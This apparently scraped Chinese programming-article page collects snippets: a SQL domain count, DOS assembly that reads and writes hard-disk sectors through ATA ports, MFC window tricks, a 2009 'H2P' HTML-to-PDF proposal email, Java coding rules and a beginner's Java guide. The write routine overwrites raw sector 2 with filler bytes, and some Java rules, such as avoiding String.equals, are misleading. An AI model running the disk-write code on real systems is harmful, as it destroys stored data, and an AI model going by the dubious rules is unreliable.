欢迎您
编程文章
   

内容分类

Java C++
C# Php
Perl Ruby
汇编 Asp/Asp.net
Visual Basic 数据结构
算法 脚本

最新加入之用户

rr
宋吉晨
BlueHell
卢四忠
程序员中的笨鸟
张路
海的心愿
看星星的狼
masm
yyj870817

推荐文章


Peter
advertiser email domain count
 SELECT COUNT( * ) , SUBSTRING( email, LOCATE( '@', email ) )  FROM email GROUP BY SUBSTRING( email, LOCATE( '@', email ) )  ORDER BY COUNT( * ) DESC  LIMIT 0 , 30

Peter
直接通过端口读硬盘数据
有时候BIOS提供的功能无法满足我们的要求,我们可以通过端口来读写硬盘。那么怎么来做呢?这两段代码将告诉你答案。里面包含了通过端口读和写两项功能的代码。我想,这两段代码一般情况下是没有什么用处的。但是通过这两段代码我们可以思考一下BIOS中的INT 13的实现方式。它给我们带来的启发是非常有意义的! ;       Reading the harddisk using ports! ;       +-------------------------------+   by qark ; ; ;  This took me months to get working but I finally managed it. ;  让它工作起来耗费了数月的时间,不过最后我解决了它。 ;  This code only works for the 286+, so you must detect for 8088's somewhere ;  in your code.(这个代码是工作的286及其以后的机型中的,因此,你必须检查一下 ;  在你的代码中时候有针对8088的) ; ;  Technical Information on the ports: ;      Port    Read/Write   Misc ;     ------  ------------ ------------------------------------------------- ;       1f0       r/w       data register, the bytes are written/read here(数据寄存器) ;       1f1       r         error register  (look these values up yourself)(错误寄存器) ;       1f2       r/w       sector count, how many sectors to read/write(你要读写的扇区数) ;       1f3       r/w       sector number, the actual sector wanted(你要读写的扇区号) ;       1f4       r/w       cylinder low, cylinders is 0-1024(柱面号的低位,柱面号的取值是0-1024) ;       1f5       r/w       cylinder high, this makes up the rest of the 1024(柱面号的高位,用来补足1024)(?) ;       1f6       r/w       drive/head (驱动器/磁头号) ;                              bit 7 = 1(5,6,7为固定值) ;                              bit 6 = 0 ;                              bit 5 = 1 ;                              bit 4 = 0  drive 0 select(选择驱动器1) ;                                    = 1  drive 1 select(选择驱动器2) ;                              bit 3-0    head select bits(磁头号) ;       1f7       r         status register(状态寄存器) ;                              bit 7 = 1  controller is executing a command(正在执行一个命令) ;                              bit 6 = 1  drive is ready(驱动器就绪) ;                              bit 5 = 1  write fault(写出错) ;                              bit 4 = 1  seek complete(完成定位) ;                              bit 3 = 1  sector buffer requires servicing(扇区缓冲器需要修理?) ;                              bit 2 = 1  disk data read corrected(磁盘已被读校验) ;                              bit 1 = 1  index - set to 1 each revolution(索引,将每个revolution设置成1) ;                              bit 0 = 1  previous command ended in an error(上一次命令执行失败) ;       1f7       w         command register(命令寄存器) ;                            commands: ;                              50h format track(格式化磁道) ;                              20h read sectors with retry(重复的读扇区,如果出错) ;                              21h read sectors without retry(不重复读扇区,即便是出错) ;                              22h read long with retry(重复的读长扇区,如果出错) ;                              23h read long without retry(不重复长读扇区,即便是出错) ;                              30h write sectors with retry(重复的写扇区,如果出错) ;                              31h write sectors without retry(不重复写扇区,即便是出错) ;                              32h write long with retry(重复的写长扇区,如果出错) ;                              33h write long without retry(不重复长写扇区,即便是出错) ; ;  Most of these should work on even non-IDE hard disks.(甚至是,在那些非IDE的硬盘上,应该也是可以工作的) ;  This code is for reading, the code for writing is the next article.(这段代码是用来读的,写的那段代码在下一篇文章里)  mov     dx,1f6h         ;Drive and head port(驱动器和磁头端口)  mov     al,0a0h         ;Drive 0, head 0(第一个驱动器,第一个磁头)  out     dx,al  mov     dx,1f2h         ;Sector count port(扇区记数端口)  mov     al,1            ;Read one sector(读一个扇区)  out     dx,al  mov     dx,1f3h         ;Sector number port(扇区号端口)  mov     al,1            ;Read sector one(读一个扇区)  out     dx,al  mov     dx,1f4h         ;Cylinder low port(柱面号低位端口)(注意:柱面号被分成了两部分,这个是低位部分)  mov     al,0            ;Cylinder 0(第1个柱面)  out     dx,al  mov     dx,1f5h         ;Cylinder high port(柱面号高位端口)  mov     al,0            ;The rest of the cylinder 0(柱面号0的剩余的值,即高位值)  out     dx,al  mov     dx,1f7h         ;Command port(命令端口)  mov     al,20h          ;Read with retry.(读,如果出错就反复的读)  out     dx,al still_going:  in      al,dx  test    al,8            ;This means the sector buffer requires servicing.(验证扇区缓冲器是不是处于修理(?)状态)  jz      still_going     ;Don't continue until the sector buffer is ready.(等待,直到扇区缓冲器的状态为就绪)  mov     cx,512/2        ;One sector /2(设置计数器,为半个扇区的大小.)  mov     di,offset buffer  mov     dx,1f0h         ;Data port - data comes in and out of here.(数据端口,硬盘上的数据就是从这个端口进出的)  rep     insw   ;反复的执行这一命令,直到计数器为0。 ;   下面的程序是用来检查是不是已经读出了数据。检验的方法就是通过INT 13H再读一份,然后比较一下  mov     ax,201h         ;Read using int13h then compare buffers.  mov     dx,80h  mov     cx,1  mov     bx,offset buffer2  int     13h  mov     cx,512  mov     si,offset buffer  mov     di,offset buffer2  repe    cmpsb  jne     failure ;如果有一个不一样,输出错误信息  mov     ah,9  ;如果全部都是一样,输出成功信息  mov     dx,offset readmsg  int     21h  jmp     good_exit failure:  mov     ah,9  mov     dx,offset failmsg  int     21h good_exit:  mov     ax,4c00h        ;返回dos  int     21h  readmsg db      ''The buffers match.  Hard disk read using ports.$''  failmsg db      ''The buffers do not match.$'' buffer  db      512 dup (''V'') buffer2 db      512 dup (''L'') ; ;       Writing to the hard disk using the ports!     by qark ;       +---------------------------------------+ ; ;  The only differences between reading and writing using the ports is ;  that 30h is sent to the command register, and instead of INSW you ;  OUTSW.  ;  在通过端口读和写硬盘时唯一的不同就是,使用30h功能号时,往命令寄存器 ;  中送的命令是OUTSW,而原来是INSW ;  I chose to write to sector 2 because some idiot would trash their MBR ;  by running this.(我选择写扇区2是因为那些无聊白痴的MBR需要运行在这里) ;  mov     dx,1f6h         ;Drive and head port(驱动器和磁头端口)  mov     al,0a0h         ;Drive 0, head 0(第一个驱动器,第一个磁头)  out     dx,al  mov     dx,1f2h         ;Sector count port(扇区记数端口)  mov     al,1            ;Write one sector(写1个扇区)  out     dx,al  mov     dx,1f3h         ;Sector number port(扇区号端口)  mov     al,2            ;Wrote to sector two(写到第二个扇区)  out     dx,al  mov     dx,1f4h         ;Cylinder low port(柱面号低位端口)  mov     al,0            ;Cylinder 0(第1个柱面)  out     dx,al  mov     dx,1f5h         ;Cylinder high port(柱面号高位端口)  mov     al,0            ;The rest of the cylinder 0(柱面号0的剩余的值,即高位值)  out     dx,al  mov     dx,1f7h         ;Command port(命令端口)  mov     al,30h          ;Write with retry.(写,如果出错反复的写)  out     dx,al oogle:  in      al,dx  test    al,8            ;Wait for sector buffer ready.(等待扇区缓冲器就绪)  jz      oogle    mov     cx,512/2        ;One sector /2(初始化计数器)  mov     si,offset buffer  mov     dx,1f0h         ;Data port - data comes in and out of here.(数据端口,硬盘上的数据就是从这个端口进出的)  rep     outsw           ;Send it.(发送数据给它) ;    下面的程序是用来检查是不是已经读出了数据。检验的方法就是通过INT 13H读出刚才写数据的扇区,然后比较一下  mov     ax,201h                 ;We''ll read in sector 2 using  mov     bx,offset buffer2       ;int13h and see if we are successful.  mov     cx,2  mov     dx,80h  int     13h  mov     cx,512  mov     si,offset buffer  mov     di,offset buffer2  repe    cmpsb                   ;Compare the buffers.  jne     failure  mov     ah,9  mov     dx,offset write_msg  int     21h  jmp     w_exit failure:  mov     ah,9  mov     dx,offset fail  int     21h   w_exit:  mov     ax,4c00h        ;返回DOS  int     21h    write_msg       db      ''Sector two written to using the ports.$''  fail            db      ''Writing using ports failed.$'' buffer  db      512 dup (''A'') buffer2 db      512 dup (''D'')

复兴
鼠标移走消息
OnMouseMove中添加:  TRACKMOUSEEVENT   mouseevent;  mouseevent.cbSize   =   sizeof(TRACKMOUSEEVENT);  mouseevent.dwFlags   =   TME_LEAVE;  mouseevent.hwndTrack   =   m_hWnd;  mouseevent.dwHoverTime   =   HOVER_DEFAULT;    _TrackMouseEvent(&mouseevent);     即可添加 ON_MESSAGE( WM_MOUSELEAVE, OnMouseLeave) 来相应鼠标移走

复兴
设置窗口的透明色
#pragma   comment(lib,   "ws2_32.lib ")     typedef BOOL (WINAPI *lpfn) (HWND hWnd, COLORREF cr, BYTE bAlpha, DWORD dwFlags); lpfn g_pSetLayeredWindowAttributes;       HMODULE hUser32 = GetModuleHandle(_T("USER32.DLL"));     g_pSetLayeredWindowAttributes = (lpfn)GetProcAddress(hUser32, "SetLayeredWindowAttributes");       if (g_pSetLayeredWindowAttributes == NULL)         AfxMessageBox ("Layering is not supported in this version of Windows", MB_ICONEXCLAMATION);  if( g_pSetLayeredWindowAttributes != NULL )  {   g_pSetLayeredWindowAttributes(this->GetSafeHwnd(), 0, (BYTE)0, LWA_ALPHA); //0-255      ::RedrawWindow(this->GetSafeHwnd(), NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_FRAME | RDW_ALLCHILDREN);  }  

javaei
H2P倡议——一种新的互联网应用模式
From: "javaei" <javaei@163.com> To: "webmaster" <webmaster@javaeye.com>; "admin" <admin@csdn.net>; "contact" <contact@cnblogs.com>; "banq" <banq@163.com>; "jackliu.aws" <jackliu.aws@gmai.com>; "oschina.net" <oschina.net@gmail.com>; "jrwebmaster" <jrwebmaster@javaresearch.org>; "support" <support@cjsdn.net>; "chris" <chris@matrix.org.cn>; "admin2" <admin2@staff.chinaunix.net>; "admin" <admin@oracle.com.cn>; "sangernten" <sangernten@gmail.com>; "software" <software@it168.com>; "admin" <admin@chinajavaworld.com>; "service" <service@360doc.com>; "sinamedia" <sinamedia@vip.sina.com>; "thomastang" <thomastang@tencent.com>; "ir" <ir@service.netease.com>; "webmaster" <webmaster@java-cn.com>; "webmaster" <webmaster@pfan.cn>; "yaoz" <yaoz@163.com>; "Webmaster" <Webmaster@contact.sohu.com>; "java2000_net" <java2000_net@hotmail.com>; "webmaster" <webmaster@staff.ccidnet.com>; "justin" <justin@chinaitlab.com>; "david" <david@kingofcoders.com>; "yanger1997" <yanger1997@yahoo.com.cn>; "admin" <admin@javatx.cn>; "eatfishlin" <eatfishlin@hotmail.com>; "eygle" <eygle@hotmail.com>; "fondofbeyond" <fondofbeyond@163.com> Sent: Friday, August 07, 2009 10:44 AM Subject: H2P倡议——一种新的互联网应用模式     各网站管理员:        我是javaei网站的管理员,近段时间,我站提出h2p概念,并推出h2p应用。h2p是html to pdf的意思,具体地说是根据批量URL生成一个有书签的pdf文档的解决方案,该方案是一个完整的解决方案。我觉得h2p是互联网应用的一种创新,值得推广,经过调查,得到不少人的认可。但是javaei网站的影响力有限,推广力度不够,为了能让h2p被大家认可并得到推广,特向各位发起倡议,一起来完善并推广这种应用,当然首先要得到各位的认可。H2p在技术上微不足道,重要意义体现在应用模式上。就像Rss一样,rss本身技术上没什么可说的,但应用模式上意义重大,rss从提出到被接受,也是经过了曲折的历程。我私下里希望,h2p也能像rss那样,被广为接受,最终成为一种大家接受的应用模式而确立下来,更重要的是,这是中国的程序员发起并推广的,这绝对是零的突破。        下面从三个方面来展开:h2p具体介绍,为什么要推广h2p,h2p完善和推广   一、H2P具体介绍        H2P是javaei网站发展的结果。H2P包括两个部分:h2p-file和h2p-tool。h2p-file其实是xml文件,用来描述批量的URL,主要描述两个信息,url的先后顺序和层次结构(用于处理书签)。h2p-tool是一个客户端工具,用途目前主要有三个,根据dtd校验h2p-file的合法性、编辑h2p-file和根据h2p-file生成有书签的pdf文档。 (1)h2p-file 在目前的方案中h2p-file包括两个xml文件,href.h2p.xml和outline.h2p.xml。 href.h2p.xml示例如下 <href-info>        <href id="KxgYaRxG">               <value><![CDATA[http;//www.163.com]]></value>        </href>        <href id="53Bw5A32">               <value><![CDATA[http://www.sohu.com]]></value>        </href>        <href id="eyEis6ra">               <value><![CDATA[http;//news.163.com]]></value>        </href>        <href id="DMQoSN2t">               <value><![CDATA[http;//sports.163.com]]></value>        </href>        <href id="5vaf3LN7">               <value><![CDATA[http://news.sohu.com]]></value>        </href> </href-info> 这个xml很简单,之所以这样描述,是因为URL通常会有&而这个符号不能出现在xml里,而且作为属性的值,还不能用<![CDATA[]]>,所以就作为一个节点了。 h2p-tool根据这个xml生成的每个pdf文件,pdf文件的名字取id的值,后缀为pdf。   outline.h2p.xml示例如下 <book name="我的PDF书">        <chapter name="163" href="KxgYaRxG">               <chapter name="163新闻" href="eyEis6ra" />               <chapter name="163体育" href="DMQoSN2t" />        </chapter>        <chapter name="sohu" href="53Bw5A32">               <chapter name="sohu新闻" href="5vaf3LN7" />        </chapter> </book> 这个xml描述了每个pdf合并的顺序,href的值和上一个xml的id值对应,chapter标签嵌套的层次就是书签的层次,name的值就是书签的名称。H2p-tool根据这个xml把每个pdf合并成一个pdf,并生成书签。   考虑到h2p的发展,完全有理由把这两个xml文件合并成一个xml文件,可以定义成如下格式: <book name="我的PDF书">        <chapter name="163">               <href><![CDATA[http://www.163.com]]></href>               <chapter name="163新闻">                      <href><![CDATA[http://news.163.com]]></href>               </chapter>               <chapter name="163体育">                      <href><![CDATA[http://sports.163.com]]></href>               </chapter>        </chapter>        <chapter name="sohu">               <href><![CDATA[http://www.sohu.com]]></href>               <chapter name="sohu新闻">                      <href><![CDATA[http://news.sohu.com]]></href>               </chapter>        </chapter> </book>   对应的dtd可以定义如下 <!ELEMENT book (chapter+)> <!ATTLIST book      name   CDATA #REQUIRED> <!ELEMENT chapter (chapter*)> <!ATTLIST chapter      name CDATA #REQUIRED> <!ATTLIST chapter      href CDATA #IMPLIED>   在这个方案当中,h2p-file具有十分重要的意义,它作为一种资源被提供下载,也可以在线使用,h2p-file的格式作为一种协议,可以被各大网站支持,   (2)h2p-tool h2p-tool是处理h2p-file的客户端工具,目前h2p-tool的功能主要有以下三个方面 根据dtd校验h2p-file的合法性, 编辑h2p-file编辑功能包括新建、修改、保存, 根据h2p-file生成有书签的pdf文档,先根据。 目前h2p-tool一部分是用C#开发的,一部分是用Java开发的。不管h2p-tool用什么开发,通过什么方式使用(在线或离线的),只要能处理h2p-file即可。 h2p-tool的功能还可以有如下扩充: 合并h2p-file,解析h2p-file在线阅读(这一点类似于google reader),也可以不需要h2p-tool,直接用xsl展示h2p-file。 下图是h2p生成pdf的一个示例。 二、为什么要推广H2P 其实就是要回答h2p有什么价值。自从有了h2p构想以来,我一直在思考这个问题。 从以下几个方面说明我的思考: (1)各大网站已经积累了丰富的资料,随着pdf的风行,导出pdf是很多用户的需求,提供pdf导出功能的网站还不多,实际上技术已很成熟,原因在于没有很好的模式。导出pdf是个性需求,网站无法知道用户需要把哪些导出成pdf,而且在服务器端生成pdf,不仅会增加服务器端压力。而且会增加管理员工作量。而如果网站只是提供h2p-file下载,由用户利用第三方工具(也即h2p-tool)自行编辑h2p-file,自行生成pdf,上面的问题就解决了,服务器端压力没有了,只需生成h2p-file,用户可以根据自己的需要对h2p-file进行编辑,生成pdf既满足了个性需求,同时把生成pdf的压力转移了用户,这点小压力对单个用户是可以接受的。 (2)如果网站想支持pdf导出的话,那么只需提供h2p-file,就像rss一样,网站要提供订阅功能,只需提供rss就行 (3)网站可以根据用户的请求动态的生成h2p-file,从而间接的实现根据请求动态生成pdf的功能,这一点意义非凡。 (4)网站提供h2p-file,会导致对网站内容的整理和挖掘,从而促进站内智能搜索的应用。 (5)满足了用户的便捷,就是赢利的开始。关于盈利,在网站广告投放这方面一点都不会受影响,pdf超强的表现力足可以完美的表现广告效果,在h2p-file里可以适当放一些广告链接,同时,h2p-tool上也可以投放广告,h2p-tool在生成pdf的时候也能再适当位置加入广告。把广告固化到pdf文件里,这种方式比在浏览器里显示的广告生命周期要长得多,因为pdf是只读的。 (6)最后一点,是意义上的而非价值上的,那就是如果h2p推广开了,被人们接受了,那么这将是第一个由中国的程序员发起并推广的一个协议,一个互联网应用模式。Bbs、blog、wiki、twitter、rss等等,耳熟能详的东西,有技术含量吗?真正有价值的是这些应用模式,正是这些应用模式推动着互联网的飞速发展。而搜索引擎却集优秀的应用模式和先进的理论思想与技术于一身。 (7)有可能带来其他方面的影响,比如网站内容的提炼和聚合。 三、H2P完善和推广 H2P刚刚产生,是个雏儿,尽管核心思想已经体现出来了,但在形式上和应用上还有需要大幅度的完善。可从以下几个方面展开: (1)齐心协力共同制定和完善h2p-file的格式,使h2p应用更加便捷和丰富。h2p-file可以分成两个文件独立描述,也可以合为一个,前面已经阐述了。 (2)确定了h2p-file的格式,进一步完善和重新开发h2p-tool,h2p-tool可以有三个方向,一个方向就是目前的方向,开发一个客户端工具,并且使用浏览器的内核,把浏览器的功能集成进来,在java开发方面已经有了JDIC这么一个框架了;第二个方向就是类似google reader的方向,在线解析h2p-file,以树形结构显示连接,提供在线的便捷阅读;第三个方向采取最简单的方式,直接用xsl显示h2p-file。 (3)博克文章、论坛帖子一般至少有三分之一的内容是广告或图片,直接根据URL生成的pdf就显得很臃肿,这是这个方案的缺陷,解决这个问题最简单的思路就是网站针对h2p应用再提供一个URL,根据这个URL得到的内容主要是文字形式的内容,之所以说它简单,是因为现在的界面的输出大多采用的模板技术,在模板上稍作变动,就可以输出没有太多广告和图片的内容。但考虑到网站需要投放广告,可以允许有少量广告,从而就产生了h2p-file质量这个概念,图片越少广告越少,那么生成的pdf就越干净体积就越小,h2p-file质量就越高;反之,生成的pdf就像现在的报纸一样,实质内容淹没在广告里而且体积还很大,h2p-file质量就越低。 (4)如果上面的思路得到了采纳,那么根据一条URL生成单个pdf 的技术就能很好的解决。目前的h2p-tool在这一部分的开发用的是一个C#组件(生成的pdf有水印,我估计这个组件是调用了IE浏览器的功能)。之所以采用这个组件,是因为要保证生成的pdf展现效果和浏览器里的效果完全相同,这无异于做一个浏览器,难度可想而知。如果专门为h2p应用再提供一个URL,根据这个URL得到的内容主要是文字形式的内容,没有复杂的标签和样式,这种情况下,使用iText等框架生成pdf是可行的。Javaeye网站提供的pdf下载和电字书制作得到的pdf就是这种情况,提取博克文章的主体内容生成pdf。 (5)各网站对h2p的支持很简单,只需发布网站内容的h2p-file即可,h2p-file从此就以协议或资源的身份出现在互联网中。   以上三方面的内容分别阐述了h2p应用模式、h2p的意义和价值和h2p完善和发展的方向,回答了为什么要发起这个h2p倡议。敬请各网站管理员考虑我的意见,推动这个新的h2p应用,不仅会各网站带来新的赢利,而且这将是我们这些中国程序员的集体荣耀。       2009-8-7 Javaei网站       相关介绍: 投票——你认为h2p实用吗 H2P介绍 根据批量URL生成有书签的PDF文档的解决方案 pdf生成的解决方案(H2p)之H2P技术细节 pdf生成的解决方案(H2p)之H2P展望

Peter
JAVA规则开发篇
   本文介绍的JAVA规则的说明分为3个主要级别,本篇抛弃了平时开发中很少遇到的情况,那些用得比较少的以后再高级篇里面出现。并有六个有用的国际软件开发重要注意的有关String的问题,遵守了这些规则可以提高程序的效率、使代码又更好的可读性等。 (1) 如果有JDBC连接没有关掉的话,需要在"finally"方法中关掉 如果数据库连接失败或者是没有释放连接,看上去无关紧要。但是其他的用户就需要用更长的时间等待连接,这样数据库利用效率就会下降。确保你的代码在任何情况下,包括出错或者程序异常终止的情况下都释放数据库连接。在"finally"方法中关掉连接,就可以确保这一点。 错误示例: try { Statement stmt = con.createStatement(); } catch(SQLException e) { e.printStackTrace(); } 正确示例: try { Statement stmt = con.createStatement(); } finally {  if (con != null && !con.isClosed()) { con.close(); } } (2) 尽量避免使用'Thread.resume ()', 'Thread.stop ()', 'Thread.suspend ()'和 'Runtime.runFinalizersOnExit ()' 方法。 这些方法在平时的开发或者是教科书里面也有用到过,但是这些方法会导致四锁的倾向。一下有充足的资料来说明为什么不建议用上述方法。 参考:1."java.lang.Thread" in the JDK API documentation 2. http://java.sun.com/j2se/1.3/docs/guide/misc/threadPrimitiveDeprecation.html 3.Paul Hyde: "Java Thread Programming" Sams, ISBN: 0-672-31585-8 pp. 270 (3) 在表示长整常量的时候,用L来代替l. 因为l很容易和1混一起。 错误示例: long temp = 23434l; 正确示例: long temp = 23434L; 参考:Ken Arnold, James Gosling: "The Java Programming Language Second Edition"Addison Wesley, 1997, pp.108 (4) 最好在jsp开头写一条注释 在 jsp文件头上面写一条注释,这样可以帮助别人来理解你的代码。这条规则不仅适用于jsp,更是用于任何开发的文档。 正确示例:<%-- JSP comment --%> (5)明确的初始化一个构造类里面的所有的字段 因为没有初始化的字段会是一个潜在的bug,所以最好初始化类里面的所有的字段。特别是静态的字段,最好在一开始就分配一个初始值 错误示例: public class CSI { public CSI () { this (12); k = 0; } public CSI (int val) {  j = val; } private int i = 5; private int j; private int k; } 正确示例: public class CSIFixed { public CSIFixed () { this (12); } public CSIFixed (int val) { j = val; k = 0;  } private int i = 5; private int j; private int k; } 参考:http://www.ambysoft.com/javaCodingStandards.pdf (6) 国际化开发建议:逻辑操作符不要再一个单个的字符的前面或者后面 一个单个字符的前后不要用逻辑操作符,如果代码要在一个国家环境中运行的话。我们可以使用字符比较方法,这些方法使用统一字符比较标准来定义字符的属性的。 错误示例:public class CLO { public boolean isLetter (char ch) { boolean _isLetter = ( ch >= 'a' && ch <= 'z')   //错误 || (ch >= 'A' && ch <= 'Z'); return _isLetter; } } 正确示例: public class CLOFixed { public boolean isLetter (char ch) { boolean _isLetter = Character.isLetter(ch);  return _isLetter; } } 参考: http://java.sun.com/docs/books/tutorial/i18n/intro/checklist.html 更多的字符比较方法请参考:http://java.sun.com/docs/books/tutorial/i18n/text/charintro.html (7) 国际化开发建议:不要对日期对象使用'Date.toString ()' 不要使用'Date.toString ()'方法,日期格式对于地区和语言不同的国家来说是不一样的,务必不要使用。 错误示例:'DateFormat'类提供了一个预定义的格式类型来指定本地的格式。 public void printToday () { Date today = new Date (); String todayStr = today.toString ();  System.out.println (todayStr); } 正确示例: public void printToday () { Locale currentLocale = Locale.getDefault (); DateFormat dateFormatter = DateFormat.getDateInstance ( DateFormat.DEFAULT, currentLocale); Date today = new Date (); String todayStr = dateFormatter.format (today);  System.out.println (todayStr); } 参考:http://java.sun.com/docs/books/tutorial/i18n/intro/checklist.html http://java.sun.com/docs/books/tutorial/i18n/format/dateFormat.html (8) 国际化开发建议:不要对数字变量使用'toString ()'方法 在全球化的开发中,不要对数字变量使用'toString ()'方法,对于java.lang.Number的任何子类都适用。包括:BigDecimal, BigInteger, Byte, Double, Float, Integer, Long, and Short.对于这样的情况,java里也与定义了"NumberFormat"方法来格式化。 错误示例: public class NTS { public void method (Double amount) { String amountStr = amount.toString ();  System.out.println (amountStr); } } 正确示例: public class NTSFixed { public void method (Double amount) { Locale currentLocale = Locale.getDefault (); NumberFormat numberFormatter =  NumberFormat.getNumberInstance (currentLocale); String amountStr = numberFormatter.format (amount); //  System.out.println (amountStr + ' ' + currentLocale.toString ()); } } 参考:http://java.sun.com/docs/books/tutorial/i18n/intro/checklist.html http://java.sun.com/docs/books/tutorial/i18n/format/numberFormat.html (9) 国际化开发建议:不要使用'String.equals ()'方法 建议不要使用'String.equals ()'方法,因为在统一字符比较标准中不一定按照相关的顺序来比较。'Collator'提供的预定义整理规则来排序string,Collator类调用'getInstance ()'方法,一般来说,可以为默认的本地创建一个Collator。例如:Collator myCollator = Collator.getInstance ();创建Collator的时候你也可以指定一个特殊的locale。例如:Collator myFrenchCollator = Collator.getInstance (Locale.FRENCH);然后就可以调用'Collator.compare ()'来执行一个本地的字符比较myCollator.compare (s1,s2);从这里可以了解更多的有关Collator类的信息:http://java.sun.com/docs/books/tutorial/i18n/text/collationintro.html 错误示例: public class SE { public boolean compstr (String s1, String s2) { boolean b = (s1.equals (s2));  return b; } } 正确示例: public class SEFixed { public boolean compstr (String s1, String s2) { Collator myCollator = Collator.getInstance (); boolean b = (myCollator.compare(s1,s2) == 0);  return b; } } 参考:http://java.sun.com/docs/books/tutorial/i18n/intro/checklist.html http://java.sun.com/docs/books/tutorial/i18n/text/locale.html (10) 国际化开发建议:不要使用'StringTokenizer()'方法 错误示例:StringTokenizer st = new StringTokenizer(str);  可以从这里得到更多的信息:‘ 参考:http://java.sun.com/docs/books/tutorial/i18n/intro/checklist.html (11) 国际化开发建议:不要使用'Time.toString ()'方法 因为时间的格式各个国家也不一样。如果你使用日期格式类,你的应用就能够在世界上各个地方正确的显示时间和日期了。首先,用'getTimeInstance ()'方法创建一个formatter。然后,调用'format ()'方法。 错误示例: public class TTS { public void printTime (Time t1) { String timeStr = t1.toString ();  System.out.println (timeStr); } } 正确示例: import java.sql.Time; import java.text.DateFormat; import java.util.Locale; public class TTSFixed { public void printTime (Time t1) { DateFormat timeFormatter = DateFormat.getTimeInstance( DateFormat.DEFAULT, Locale.getDefault ()); String timeStr = timeFormatter.format(t1); System.out.println (timeStr); } }

Peter
初学Java注意什么?
   Java总有它的千般好处使你选择它,但这些随便翻翻书或在网上逛一圈就能找到答案。在本文中,笔者把自己学习Java的一些切身体会和过程写出来,供初学者做个参考。  我在学习Java的过程中主要围绕以下几个方面来学习:  1.时刻提醒自己Java是一种OOP语言工具,而不仅仅是编码,只有这样才能总体把握和运用Java。  2.在学习的过程中,最好能够了解Java的底层机制,而不是仅仅停留在表层,不是抄书上的例子运行出结果就可以。要注意,即便对一个简单的例子也要有耐心去琢磨、调试、改动。  3.在学习的过程中一定要动手做、写代码,而不是抱一本书看看就行。很多东西和体会必须自己动手才能真正属于自己,最好能参与一些实际的项目。  4.在学到一定阶段后,你开始希望用学过的东西做些什么。这时的你应该开始学习一些更多、更复杂的知识,比如J2EE平台的构建、EJB的开发等。对于这一部分,我建议最好找一本较薄的书先了解一个大概,心里有个总体的认识,对更多的技术术语做个初步掌握。我认为这个阶段看看《J2EE技术实践》很不错,它可以让你了解J2EE包含的各种技术和框架,同时提供很多实际的例子来加深对J2EE的整体了解。  学习Java的兴趣和决心起了很关键的作用。在有了上述基础后,我便开始一步一步地学习Java。  Java环境的搭建 要运行Java程序,必须安装JDK。JDK是整个Java的核心,其中包括了Java编译器、JVM、大量的Java工具以及Java基础API。  可以从http://Java.sun.com下载JDK,有1.4版本和1.31版本。我的学习环境中首先,采用的是1.31版本。  解压安装。然后,进行环境设置。    1.对于Windows平台要进行以下设置:  set PATH=YOUR_INSTALL_ DIR\bin; C:\Windows;C:\Windows\Command set classpath=. ;YOUR_INSTALL_DIR\lib\tools.jar   2.对于Linux平台要编辑/etc/profile文件:  JAVA_HOME=your_install_dir/JDK/j2sdk CLASSPATH=$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/td.jar:$JAVA_HOME/jr -e/lib/rt.jar:. PATH=$PATH:$JAVA_HOME/bin export PATH PS1 USER LOGNAME MAIL HOSTNAME HISTSIZE HISTFILESIZE INPUTRC JAVA_HOME CLASSPATH RESIN_HOME 最后,在终端上输入Java看能不能找到这个命令,如果能找到安装就成功了。  下面介绍一下JDK的几个重要的命令:  ◆Java执行工具,是启动JVM(虚拟机)并执行class(BYTE CODE)文件的命令;  ◆javac 编译器,由.java文件生成.class文件;  ◆jar Java压缩打包工具;  ◆Javadoc 文档生成器。  最后就是JDK Documentation,这是JDK的联机帮助文档,是最有用和最重要的学习参考文档,应该多看。 开始写自己的代码 现在环境有了,应该写个简单的代码进行测试了。还是从经典的“hello word”开始。    1. 先用编辑器写一代码(我用的是Linux的vi):  [stone@coremsg work]$ vi Hello.Java public class Hello{ public static void main(String []argc){ System.out.println("Hello Word!"); } }   2. 编译:  [stone@coremsg work]$ Javac Hello.Java   3. 执行:  [stone@coremsg work]$ Java Hello Hello Word! 成功了!这就是我的第一个Java程序。从那时起我知道已开始走进Java的世界,接下来就靠自己的努力了。在这个过程中,笔者认为有几点需要注意。  学习一门新的语言,参考书是离不开的。我的建议是开始最好找一本篇幅较短的入门书来学习那些最简单、最基本的东西,包括学习Java语法等。同时,对一个最简单的程序也应该多去调试,多想想如果改动一下会出现什么结果?为什么必须那样写?多去想想这些问题然后去操作,会让你有更多的收获。这样反复地思考是很有用的。此外,在这一阶段还应该多看JDK的联机帮助,尽量多地掌握JDK提供的Java基本类库API。  在有一定基础、能够写一些简单的程序后,可以开始看《Thinking in Java》这本书。它比较完整地介绍了Java的语法、面向对象的特性、核心类库等。通过这一层次的学习能够加深对Java的理解和底层原理的运用,同时又可以完整地了解Java的整个体系。在这一阶段,应该重点学习Java的面向对象编程语言的特性,比如继承、构造器、抽象类、接口、方法的多态、重载、覆盖、Java的异常处理机制等,要对上述概念有非常清楚的了解。这样做的目的,是要让自己把这些技术应用到实践中进行合理的程序设计(比如,你会考虑一个类是用抽象还是接口来设计等)。这就要求必须在大量的实践中去应用和学习。这也是当初很多朋友给我的建议。 学习更多 如果要用Java来完成各种功能更强大的任务,那么就要学习语言以外的更多的东西。    1.Java Web编程  对于Java Web 编程来说,应该而且必须熟悉和掌握HTTP协议,可以参考 Stevens的《TCP/IP 详解》第三卷。Java Servlet技术提供了生成动态Web页面内容的能力,这在你的Java项目中是最基本的功能之一,所以必须学习。通过这一阶段的学习应该掌握Servlet/JSP的Web编程。    2. J2EE的学习  J2EE包含的技术太多了。如果你想坐在桌子旁边抱着一大堆书来学习的话,效果不大的。我建议在开始这一阶段的学习的时候,可以按以下步骤来做,总的思想是“总体把握,各个击破”。  ◆ 了解J2EE中的技术术语的含义。  我的感觉是J2EE标准中涉及到的各种技术很多,如果一开始就一个一个去学习的话是不现实的,也是没效果的。我的建议是,先对其中的技术有个大概的了解,比如EJB、JavaIDL、JTA等。可能你不知道怎么去写一个EJB,但是要知道什么是EJB、它能做什么,当有了这样的概念后,再去有目的地学习它就会快很多。我还要再重复一句——必须要在实践中动手去做才行。  ◆ 了解J2EE中的设计模式,这样能帮助你对J2EE做个整体把握。  MVC开发模式被证明是有效的处理方法之一。它可以分离数据访问和数据表现。你可以开发一个有伸缩性的、便于扩展的控制器,来维护整个流程。通过这一层次的学习,当你面对一个项目的时候,应该首先把握它的总体架构的设计,以及决定采用J2EE标准中的哪些技术。  ◆ 了解一些J2EE平台的典型案列,加深对这一技术的概念和理解。  